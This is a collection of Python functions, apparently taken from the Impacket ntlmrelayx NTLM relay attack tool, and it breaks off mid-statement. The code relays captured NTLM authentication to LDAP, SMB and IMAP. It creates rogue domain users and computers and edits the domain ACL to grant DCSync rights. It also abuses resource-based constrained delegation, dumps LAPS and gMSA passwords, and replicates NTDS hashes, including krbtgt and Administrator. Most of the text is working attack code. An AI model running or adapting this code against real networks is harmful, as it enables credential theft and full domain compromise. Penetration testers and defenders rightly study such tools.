def enumerateMethods(iInterface): methods = dict() typeInfoCount = iInterface.GetTypeInfoCount() if typeInfoCount['pctinfo'] == 0: LOG.error('Automation Server does not support type information for this object') return {} iTypeInfo = iInterface.GetTypeInfo() iTypeAttr = iTypeInfo.GetTypeAttr() for x in range(iTypeAttr['ppTypeAttr']['cFuncs']): funcDesc = iTypeInfo.GetFuncDesc(x) names = iTypeInfo.GetNames(funcDesc['ppFuncDesc']['memid'], 255) print(names['rgBstrNames'][0]['asData']) funcDesc.dump() print('='*80) if names['pcNames'] > 0: name = names['rgBstrNames'][0]['asData'] methods[name] = {} for param in range(1, names['pcNames']): methods[name][names['rgBstrNames'][param]['asData']] = '' if funcDesc['ppFuncDesc']['elemdescFunc'] != NULL: methods[name]['ret'] = funcDesc['ppFuncDesc']['elemdescFunc']['tdesc']['vt'] return methods
def __addItem(self, entry): dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(entry['EntryData']) catalogEntry = ESENT_CATALOG_DATA_DEFINITION_ENTRY(entry['EntryData'][len(dataDefinitionHeader):]) itemName = self.__parseItemName(entry) if catalogEntry['Type'] == CATALOG_TYPE_TABLE: self.__tables[itemName] = OrderedDict() self.__tables[itemName]['TableEntry'] = entry self.__tables[itemName]['Columns'] = OrderedDict() self.__tables[itemName]['Indexes'] = OrderedDict() self.__tables[itemName]['LongValues'] = OrderedDict() self.__currentTable = itemName elif catalogEntry['Type'] == CATALOG_TYPE_COLUMN: self.__tables[self.__currentTable]['Columns'][itemName] = entry self.__tables[self.__currentTable]['Columns'][itemName]['Header'] = dataDefinitionHeader self.__tables[self.__currentTable]['Columns'][itemName]['Record'] = catalogEntry elif catalogEntry['Type'] == CATALOG_TYPE_INDEX: self.__tables[self.__currentTable]['Indexes'][itemName] = entry elif catalogEntry['Type'] == CATALOG_TYPE_LONG_VALUE: self.__addLongValue(entry) else: LOG.error('Unknown type 0x%x' % catalogEntry['Type']) raise
def readTargets(self): try: with open(self.filename, 'r') as f: self.originalTargets = [] for line in f: target = line.strip() if target != '' and target[0] != '#': self.originalTargets.extend( self.processTarget(target, self.protocolClients)) except IOError as e: LOG.error("Could not open file: %s - %s", self.filename, str(e)) if len(self.originalTargets) == 0: LOG.critical("Warning: no valid targets specified!") self.generalCandidates = [ x for x in self.originalTargets if x not in self.finishedAttacks and x.username is None ] self.namedCandidates = [ x for x in self.originalTargets if x not in self.finishedAttacks and x.username is not None ]
def do_ntlm_negotiate(self, token, proxy): if self.server.config.protocolClients.has_key( self.target.scheme.upper()): self.client = self.server.config.protocolClients[ self.target.scheme.upper()](self.server.config, self.target) # If connection failed, return if not self.client.initConnection(): return False self.challengeMessage = self.client.sendNegotiate(token) # Check for errors if self.challengeMessage is False: return False else: LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper()) return False #Calculate auth self.do_AUTHHEAD(message='NTLM ' + base64.b64encode(self.challengeMessage.getData()), proxy=proxy) return True
def do_relay(self, authdata): self.authUser = '******' % (authdata['domain'], authdata['username']) sclass, host = authdata['service'].split('/') for target in self.server.config.target.originalTargets: parsed_target = target if parsed_target.hostname.lower() == host.lower(): # Found a target with the same SPN client = self.server.config.protocolClients[ target.scheme.upper()](self.server.config, parsed_target) client.initConnection(authdata, self.server.config.dcip) # We have an attack.. go for it attack = self.server.config.attacks[ parsed_target.scheme.upper()] client_thread = attack(self.server.config, client.session, self.authUser) client_thread.start() return # Still here? Then no target was found matching this SPN LOG.error( 'No target configured that matches the hostname of the SPN in the ticket: %s', parsed_target.host.lower())
def addComputer(self, parent, domainDumper): """ Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can also be an OU or other container where we have write privileges """ global alreadyAddedComputer if alreadyAddedComputer: LOG.error('New computer already added. Refusing to add another') return # Random password newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) # Get the domain we are in domaindn = domainDumper.root domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] computerName = self.computerName if computerName == '': # Random computername newComputer = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper() else: newComputer = computerName if computerName.endswith('$') else computerName + '$' computerHostname = newComputer[:-1] newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8') # Default computer SPNs spns = [ 'HOST/%s' % computerHostname, 'HOST/%s.%s' % (computerHostname, domain), 'RestrictedKrbHost/%s' % computerHostname, 'RestrictedKrbHost/%s.%s' % (computerHostname, domain), ] ucd = { 'dnsHostName': '%s.%s' % (computerHostname, domain), 'userAccountControl': 4096, 'servicePrincipalName': spns, 'sAMAccountName': newComputer, 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') } LOG.debug('New computer info %s', ucd) LOG.info('Attempting to create computer in: %s', parent) res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd) if not res: # Adding computers requires LDAPS if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.') else: LOG.error('Failed to add a new computer: %s' % str(self.client.result)) return False else: LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword)) alreadyAddedComputer = True # Return the SAM name return newComputer
def do_info(self, line): if self.loggedIn is False: LOG.error("Not logged in") return rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.smb) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrServerGetInfo(dce, 102) print("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major']) print("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor']) print("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name']) print("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment']) print("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath']) print("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users'])
def do_cat(self, filename): if self.tid is None: LOG.error("No share selected") return filename = filename.replace('/','\\') fh = BytesIO() pathname = ntpath.join(self.pwd,filename) try: self.smb.getFile(self.share, pathname, fh.write) except: raise output = fh.getvalue() encoding = "" # chardet.detect(output)["encoding"] error_msg = "[-] Output cannot be correctly decoded, are you sure the text is readable ?" if encoding: try: print(output.decode(encoding)) except: print(error_msg) finally: fh.close() else: print(error_msg) fh.close()
def do_ntlm_negotiate(self, token, proxy): if self.target.scheme.upper( ) in self.server.config.protocolClients: self.client = self.server.config.protocolClients[ self.target.scheme.upper()](self.server.config, self.target) # If connection failed, return if not self.client.initConnection(): return False self.challengeMessage = self.client.sendNegotiate(token) # Remove target NetBIOS field from the NTLMSSP_CHALLENGE if self.server.config.remove_target: av_pairs = ntlm.AV_PAIRS( self.challengeMessage['TargetInfoFields']) del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] self.challengeMessage[ 'TargetInfoFields'] = av_pairs.getData() self.challengeMessage['TargetInfoFields_len'] = len( av_pairs.getData()) self.challengeMessage['TargetInfoFields_max_len'] = len( av_pairs.getData()) # Check for errors if self.challengeMessage is False: return False else: LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper()) return False #Calculate auth self.do_AUTHHEAD(message=b'NTLM ' + base64.b64encode(self.challengeMessage.getData()), proxy=proxy) return True
def addUser(self, parent, domainDumper): """ Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can also be an OU or other container where we have write privileges """ global alreadyEscalated if alreadyEscalated: LOG.error('New user already added. Refusing to add another') return # Random password newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) # Random username newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10)) newUserDn = 'CN=%s,%s' % (newUser, parent) ucd = { 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root, 'distinguishedName': newUserDn, 'cn': newUser, 'sn': newUser, 'givenName': newUser, 'displayName': newUser, 'name': newUser, 'userAccountControl': 512, 'accountExpires': '0', 'sAMAccountName': newUser, 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') } LOG.info('Attempting to create user in: %s', parent) res = self.client.add(newUserDn, ['top', 'person', 'organizationalPerson', 'user'], ucd) if not res: # Adding users requires LDAPS if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: LOG.error('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.') else: LOG.error('Failed to add a new user: %s' % str(self.client.result)) return False else: LOG.info('Adding new user with username: %s and password: %s result: OK' % (newUser, newPassword)) # Return the DN return newUserDn
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1] )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) auth_data = respToken2['ResponseToken'] else: auth_data = authenticateMessageBlob remoteOps = None try: signingkey = self.netlogonSessionKey(serverChallenge, authenticateMessageBlob) # Something failed if signingkey == 0: return self.session.set_session_key(signingkey) authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(auth_data) # Recalc mic authenticateMessage['MIC'] = b'\x00' * 16 if authenticateMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0: authenticateMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL newmic = ntlm.hmac_md5( signingkey, self.negotiateMessage + self.challenge.getData() + authenticateMessage.getData()) authenticateMessage['MIC'] = newmic self.session.sendBindType3(authenticateMessage.getData()) # Now perform DRS bind # This code comes from secretsdump directly request = drsuapi.DRSBind() request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID drs = drsuapi.DRS_EXTENSIONS_INT() drs['cb'] = len(drs) #- 4 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \ drsuapi.DRS_EXT_STRONG_ENCRYPTION drs['SiteObjGuid'] = drsuapi.NULLGUID drs['Pid'] = 0 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = 0 drs['ConfigObjGUID'] = drsuapi.NULLGUID # I'm uber potential (c) Ben drs['dwExtCaps'] = 0xffffffff request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(drs.getData()) resp = self.session.request(request) # Initialize remoteoperations if self.serverConfig.smbuser != '': smbConnection = SMBConnection(self.target.netloc, self.target.netloc) smbConnection.login(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \ self.serverConfig.smblmhash, self.serverConfig.smbnthash) remoteOps = RemoteOperations(smbConnection, False) else: remoteOps = PatchedRemoteOperations(None, False) # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data. drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT() # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right. ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * ( len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb']) drsExtensionsInt.fromString(ppextServer) if drsExtensionsInt['dwReplEpoch'] != 0: # Different epoch, we have to call DRSBind again LOG.debug( "DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt['dwReplEpoch']) drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch'] request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(drs.getData()) resp = self.session.request(request) remoteOps._RemoteOperations__hDrs = resp['phDrs'] domainName = authenticateMessage['domain_name'].decode('utf-16le') # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges resp = drsuapi.hDRSDomainControllerInfo( self.session, remoteOps._RemoteOperations__hDrs, domainName, 2) # LOG.debug('DRSDomainControllerInfo() answer') # resp.dump() if resp['pmsgOut']['V2']['cItems'] > 0: remoteOps._RemoteOperations__NtdsDsaObjectGuid = resp[ 'pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] else: LOG.error("Couldn't get DC info for domain %s" % domainName) raise Exception('Fatal, aborting') remoteOps._RemoteOperations__drsr = self.session # Initialize NTDSHashes object if self.serverConfig.smbuser != '': # We can dump all :) nh = NTDSHashes(None, None, isRemote=True, history=False, noLMHash=False, remoteOps=remoteOps, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName='hashes', justUser=None, printUserStatus=False) nh.dump() else: # Most important, krbtgt nh = NTDSHashes(None, None, isRemote=True, history=False, noLMHash=False, remoteOps=remoteOps, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName='hashes', justUser=domainName + '/krbtgt', printUserStatus=False) nh.dump() # Also important, DC hash (to sync fully) av_pairs = authenticateMessage['ntlm'][44:] av_pairs = AV_PAIRS(av_pairs) serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode( 'utf-16le') nh = NTDSHashes(None, None, isRemote=True, history=False, noLMHash=False, remoteOps=remoteOps, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName='hashes', justUser=domainName + '/' + serverName + '$', printUserStatus=False) nh.dump() # Finally, builtin\Administrator providing it was not renamed try: nh = NTDSHashes(None, None, isRemote=True, history=False, noLMHash=False, remoteOps=remoteOps, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName='hashes', justUser=domainName + '/Administrator', printUserStatus=False) nh.dump() except Exception: LOG.error('Could not dump administrator (renamed?)') return None, STATUS_SUCCESS except Exception as e: traceback.print_exc() finally: if remoteOps is not None: remoteOps.finish()
def run(self): #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)') #print self.client.entries global dumpedDomain # Set up a default config domainDumpConfig = ldapdomaindump.domainDumpConfig() # Change the output directory to configured rootdir domainDumpConfig.basepath = self.config.lootdir # Create new dumper object domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig) if self.config.interactive: if self.tcp_shell is not None: LOG.info( 'Started interactive Ldap shell via TCP on 127.0.0.1:%d' % self.tcp_shell.port) # Start listening and launch interactive shell. self.tcp_shell.listen() ldap_shell = LdapShell(self.tcp_shell, domainDumper, self.client) ldap_shell.cmdloop() return # If specified validate the user's privileges. This might take a while on large domains but will # identify the proper containers for escalating via the different techniques. if self.config.validateprivs: LOG.info( 'Enumerating relayed user\'s privileges. This may take a while on large domains' ) userSid, privs = self.validatePrivileges(self.username, domainDumper) if privs['create']: LOG.info('User privileges found: Create user') if privs['escalateViaGroup']: name = privs['escalateGroup'].split(',')[0][3:] LOG.info( 'User privileges found: Adding user to a privileged group (%s)' % name) if privs['aclEscalate']: LOG.info('User privileges found: Modifying domain ACL') # If validation of privileges is not desired, we assumed that the user has permissions to escalate # an existing user via ACL attacks. else: LOG.info( 'Assuming relayed user has privileges to escalate a user via ACL attack' ) privs = dict() privs['create'] = False privs['aclEscalate'] = True privs['escalateViaGroup'] = False # We prefer ACL escalation since it is more quiet if self.config.aclattack and privs['aclEscalate']: LOG.debug('Performing ACL attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error('Unable to escalate without a valid user.') else: userDn, userSid = result # Perform the ACL attack self.aclAttack(userDn, domainDumper) elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error('Unable to escalate without a valid user.') # Perform the ACL attack else: self.aclAttack(userDn, domainDumper) else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # If we can't ACL escalate, try adding us to a privileged group if self.config.addda and privs['escalateViaGroup']: LOG.debug('Performing Group attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error('Unable to escalate without a valid user.') # Perform the Group attack else: userDn, userSid = result self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error( 'Unable to escalate without a valid user, aborting.') # Perform the Group attack else: self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # Dump LAPS Passwords if self.config.dumplaps: LOG.info("Attempting to dump LAPS passwords") success = self.client.search( domainDumper.root, '(&(objectCategory=computer))', search_scope=ldap3.SUBTREE, attributes=['DistinguishedName', 'ms-MCS-AdmPwd']) if success: fd = None filename = "laps-dump-" + self.username + "-" + str( random.randint(0, 99999)) count = 0 for entry in self.client.response: try: dn = "DN:" + entry['attributes']['distinguishedname'] passwd = "Password:"******"a+") count += 1 LOG.debug(dn) LOG.debug(passwd) fd.write(dn) fd.write("\n") fd.write(passwd) fd.write("\n") except: continue if fd is None: LOG.info( "The relayed user %s does not have permissions to read any LAPS passwords" % self.username) else: LOG.info( "Successfully dumped %d LAPS passwords through relayed account %s" % (count, self.username)) fd.close() #Dump gMSA Passwords if self.config.dumpgmsa: LOG.info("Attempting to dump gMSA passwords") success = self.client.search( domainDumper.root, '(&(ObjectClass=msDS-GroupManagedServiceAccount))', search_scope=ldap3.SUBTREE, attributes=['sAMAccountName', 'msDS-ManagedPassword']) if success: fd = None filename = "gmsa-dump-" + self.username + "-" + str( random.randint(0, 99999)) count = 0 for entry in self.client.response: try: sam = entry['attributes']['sAMAccountName'] data = entry['attributes']['msDS-ManagedPassword'] blob = MSDS_MANAGEDPASSWORD_BLOB() blob.fromString(data) hash = MD4.new() hash.update(blob['CurrentPassword'][:-2]) passwd = binascii.hexlify( hash.digest()).decode("utf-8") userpass = sam + ':::' + passwd LOG.info(userpass) count += 1 if fd is None: fd = open(filename, "a+") fd.write(userpass) fd.write("\n") except: continue if fd is None: LOG.info( "The relayed user %s does not have permissions to read any gMSA passwords" % self.username) else: LOG.info( "Successfully dumped %d gMSA passwords through relayed account %s" % (count, self.username)) fd.close() # Perform the Delegate attack if it is enabled and we relayed a computer account if self.config.delegateaccess and self.username[-1] == '$': self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid) return # Add a new computer if that is requested # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota if self.config.addcomputer: self.client.search(domainDumper.root, "(ObjectClass=domain)", attributes=['wellKnownObjects']) # Computer well-known GUID # https://social.technet.microsoft.com/Forums/windowsserver/en-US/d028952f-a25a-42e6-99c5-28beae2d3ac3/how-can-i-know-the-default-computer-container?forum=winservergen computerscontainer = [ entry.decode('utf-8').split(":")[-1] for entry in self.client.entries[0]["wellKnownObjects"] if b"AA312825768811D1ADED00C04FD8D5CD" in entry ][0] LOG.debug("Computer container is {}".format(computerscontainer)) self.addComputer(computerscontainer, domainDumper) return # Last attack, dump the domain if no special privileges are present if not dumpedDomain and self.config.dumpdomain: # Do this before the dump is complete because of the time this can take dumpedDomain = True LOG.info('Dumping domain info for first time') domainDumper.domainDump() LOG.info('Domain info dumped into lootdir!')
def aclAttack(self, userDn, domainDumper): global alreadyEscalated if alreadyEscalated: LOG.error('ACL attack already performed. Refusing to continue') return # Dictionary for restore data restoredata = {} # Query for the sid of our user self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid']) entry = self.client.entries[0] username = entry['sAMAccountName'].value usersid = entry['objectSid'].value LOG.debug('Found sid for user %s: %s' % (username, usersid)) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) alreadyEscalated = True LOG.info('Querying domain security descriptor') self.client.search( domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid secDesc['Dacl']['Data'].append( create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid)) secDesc['Dacl']['Data'].append( create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid)) dn = entry.entry_dn data = secDesc.getData() self.client.modify( dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) if self.client.result['result'] == 0: alreadyEscalated = True LOG.info( 'Success! User %s now has Replication-Get-Changes-All privileges on the domain', username) LOG.info('Try using DCSync with secretsdump.py and this user :)') # Query the SD again to see what AD made of it self.client.search( domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] newSD = entry['nTSecurityDescriptor'].raw_values[0] # Save this to restore the SD later on restoredata['target_dn'] = dn restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') restoredata['success'] = True self.writeRestoreData(restoredata, dn) return True else: LOG.error('Error when updating ACL: %s' % self.client.result) return False
def delegateAttack(self, usersam, targetsam, domainDumper, sid): global delegatePerformed if targetsam in delegatePerformed: LOG.info( 'Delegate attack already performed for this computer, skipping' ) return if not usersam: usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) self.config.escalateuser = usersam if not sid: # Get escalate user sid result = self.getUserInfo(domainDumper, usersam) if not result: LOG.error('User to escalate does not exist!') return escalate_sid = str(result[1]) else: escalate_sid = usersam # Get target computer DN result = self.getUserInfo(domainDumper, targetsam) if not result: LOG.error('Computer to modify does not exist! (wrong domain?)') return target_dn = result[0] self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=[ 'SAMAccountName', 'objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity' ]) targetuser = None for entry in self.client.response: if entry['type'] != 'searchResEntry': continue targetuser = entry if not targetuser: LOG.error('Could not query target user properties') return try: sd = ldaptypes.SR_SECURITY_DESCRIPTOR( data=targetuser['raw_attributes'] ['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]) LOG.debug('Currently allowed sids:') for ace in sd['Dacl'].aces: LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical()) except IndexError: # Create DACL manually sd = create_empty_sd() sd['Dacl'].aces.append(create_allow_ace(escalate_sid)) self.client.modify( targetuser['dn'], { 'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, [sd.getData()]] }) if self.client.result['result'] == 0: LOG.info('Delegation rights modified succesfully!') LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam) delegatePerformed.append(targetsam) else: if self.client.result['result'] == 50: LOG.error( 'Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) elif self.client.result['result'] == 19: LOG.error( 'Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) else: LOG.error('The server returned an error: %s', self.client.result['message']) return
def skipAuthentication(self): self.socksSocket.send('* OK The Microsoft Exchange IMAP4 service is ready.'+EOL) # Next should be the client requesting CAPABILITIES tag, cmd = self.recvPacketClient() if cmd.upper() == 'CAPABILITY': clientcapabilities = list(self.getServerCapabilities()) # Don't offer these AUTH options so the client won't use them blacklist = ['AUTH=GSSAPI', 'AUTH=NTLM', 'LOGINDISABLED'] for cap in blacklist: if cap in clientcapabilities: clientcapabilities.remove(cap) # Offer PLAIN auth for specifying the username if 'AUTH=PLAIN' not in clientcapabilities: clientcapabilities.append('AUTH=PLAIN') # Offer LOGIN for specifying the username if 'LOGIN' not in clientcapabilities: clientcapabilities.append('LOGIN') LOG.debug('IMAP: Sending mirrored capabilities from server: %s' % ' '.join(clientcapabilities)) self.socksSocket.send('* CAPABILITY %s%s%s OK CAPABILITY completed.%s' % (' '.join(clientcapabilities), EOL, tag, EOL)) else: LOG.error('IMAP: Socks plugin expected CAPABILITY command, but got: %s' % cmd) return False # next tag, cmd = self.recvPacketClient() args = cmd.split(' ') if cmd.upper() == 'AUTHENTICATE PLAIN': # Send continuation command self.socksSocket.send('+'+EOL) # Client will now send their AUTH data = self.socksSocket.recv(self.packetSize) # This contains base64(\x00username\x00password), decode and split creds = base64.b64decode(data.strip()) self.username = creds.split('\x00')[1].upper() elif args[0].upper() == 'LOGIN': # Simple login self.username = args[1].upper() else: LOG.error('IMAP: Socks plugin expected LOGIN or AUTHENTICATE PLAIN command, but got: %s' % cmd) return False # Check if we have a connection for the user if self.activeRelays.has_key(self.username): # Check the connection is not inUse if self.activeRelays[self.username]['inUse'] is True: LOG.error('IMAP: Connection for %s@%s(%s) is being used at the moment!' % ( self.username, self.targetHost, self.targetPort)) return False else: LOG.info('IMAP: Proxying client session for %s@%s(%s)' % ( self.username, self.targetHost, self.targetPort)) self.session = self.activeRelays[self.username]['protocolClient'].session else: LOG.error('IMAP: No session for %s@%s(%s) available' % ( self.username, self.targetHost, self.targetPort)) return False # We arrived here, that means all is OK self.socksSocket.send('%s OK %s completed.%s' % (tag, args[0].upper(), EOL)) self.relaySocket = self.session.sock self.relaySocketFile = self.session.file return True
def handle(self): LOG.debug("SOCKS: New Connection from %s(%s)" % (self.__ip, self.__port)) data = self.__connSocket.recv(8192) grettings = SOCKS5_GREETINGS_BACK(data) self.__socksVersion = grettings['VER'] if self.__socksVersion == 5: # We need to answer back with a no authentication response. We're not dealing with auth for now self.__connSocket.sendall(str(SOCKS5_GREETINGS_BACK())) data = self.__connSocket.recv(8192) request = SOCKS5_REQUEST(data) else: # We're in version 4, we just received the request request = SOCKS4_REQUEST(data) # Let's process the request to extract the target to connect. # SOCKS5 if self.__socksVersion == 5: if request['ATYP'] == ATYP.IPv4.value: self.targetHost = socket.inet_ntoa(request['PAYLOAD'][:4]) self.targetPort = unpack('>H', request['PAYLOAD'][4:])[0] elif request['ATYP'] == ATYP.DOMAINNAME.value: hostLength = unpack('!B', request['PAYLOAD'][0])[0] self.targetHost = request['PAYLOAD'][1:hostLength + 1] self.targetPort = unpack('>H', request['PAYLOAD'][hostLength + 1:])[0] else: LOG.error('No support for IPv6 yet!') # SOCKS4 else: self.targetPort = request['PORT'] # SOCKS4a if request['ADDR'][:3] == "\x00\x00\x00" and request['ADDR'][ 3] != "\x00": nullBytePos = request['PAYLOAD'].find("\x00") if nullBytePos == -1: LOG.error('Error while reading SOCKS4a header!') else: self.targetHost = request['PAYLOAD'].split('\0', 1)[1][:-1] else: self.targetHost = socket.inet_ntoa(request['ADDR']) LOG.debug('SOCKS: Target is %s(%s)' % (self.targetHost, self.targetPort)) if self.targetPort != 53: # Do we have an active connection for the target host/port asked? # Still don't know the username, but it's a start if self.__socksServer.activeRelays.has_key(self.targetHost): if self.__socksServer.activeRelays[self.targetHost].has_key( self.targetPort) is not True: LOG.error('SOCKS: Don\'t have a relay for %s(%s)' % (self.targetHost, self.targetPort)) self.sendReplyError(replyField.CONNECTION_REFUSED) return else: LOG.error('SOCKS: Don\'t have a relay for %s(%s)' % (self.targetHost, self.targetPort)) self.sendReplyError(replyField.CONNECTION_REFUSED) return # Now let's get into the loops if self.targetPort == 53: # Somebody wanting a DNS request. Should we handle this? s = socket.socket() try: LOG.debug('SOCKS: Connecting to %s(%s)' % (self.targetHost, self.targetPort)) s.connect((self.targetHost, self.targetPort)) except Exception, e: if LOG.level == logging.DEBUG: import traceback traceback.print_exc() LOG.error('SOCKS: %s' % str(e)) self.sendReplyError(replyField.CONNECTION_REFUSED) return if self.__socksVersion == 5: reply = SOCKS5_REPLY() reply['REP'] = replyField.SUCCEEDED.value addr, port = s.getsockname() reply['PAYLOAD'] = socket.inet_aton(addr) + pack('>H', port) else: reply = SOCKS4_REPLY() self.__connSocket.sendall(reply.getData()) while True: try: data = self.__connSocket.recv(8192) if data == '': break s.sendall(data) data = s.recv(8192) self.__connSocket.sendall(data) except Exception, e: if LOG.level == logging.DEBUG: import traceback traceback.print_exc() LOG.error('SOCKS: ', str(e))
def negotiateSession(self, preferredDialect=None, negSessionResponse=None): # We DON'T want to sign self._Connection['ClientSecurityMode'] = 0 if self.RequireMessageSigning is True: LOG.error('Signing is required, attack won\'t work!') return self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION currentDialect = SMB2_DIALECT_WILDCARD # Do we have a negSessionPacket already? if negSessionResponse is not None: # Yes, let's store the dialect answered back negResp = SMB2Negotiate_Response(negSessionResponse['Data']) currentDialect = negResp['DialectRevision'] if currentDialect == SMB2_DIALECT_WILDCARD: # Still don't know the chosen dialect, let's send our options packet = self.SMB_PACKET() packet['Command'] = SMB2_NEGOTIATE negSession = SMB2Negotiate() negSession['SecurityMode'] = self._Connection['ClientSecurityMode'] negSession['Capabilities'] = self._Connection['Capabilities'] negSession['ClientGuid'] = self.ClientGuid if preferredDialect is not None: negSession['Dialects'] = [preferredDialect] else: negSession['Dialects'] = [ SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30 ] negSession['DialectCount'] = len(negSession['Dialects']) packet['Data'] = negSession packetID = self.sendSMB(packet) ans = self.recvSMB(packetID) if ans.isValidAnswer(STATUS_SUCCESS): negResp = SMB2Negotiate_Response(ans['Data']) self._Connection['MaxTransactSize'] = min(0x100000, negResp['MaxTransactSize']) self._Connection['MaxReadSize'] = min(0x100000, negResp['MaxReadSize']) self._Connection['MaxWriteSize'] = min(0x100000, negResp['MaxWriteSize']) self._Connection['ServerGuid'] = negResp['ServerGuid'] self._Connection['GSSNegotiateToken'] = negResp['Buffer'] self._Connection['Dialect'] = negResp['DialectRevision'] if (negResp['SecurityMode'] & 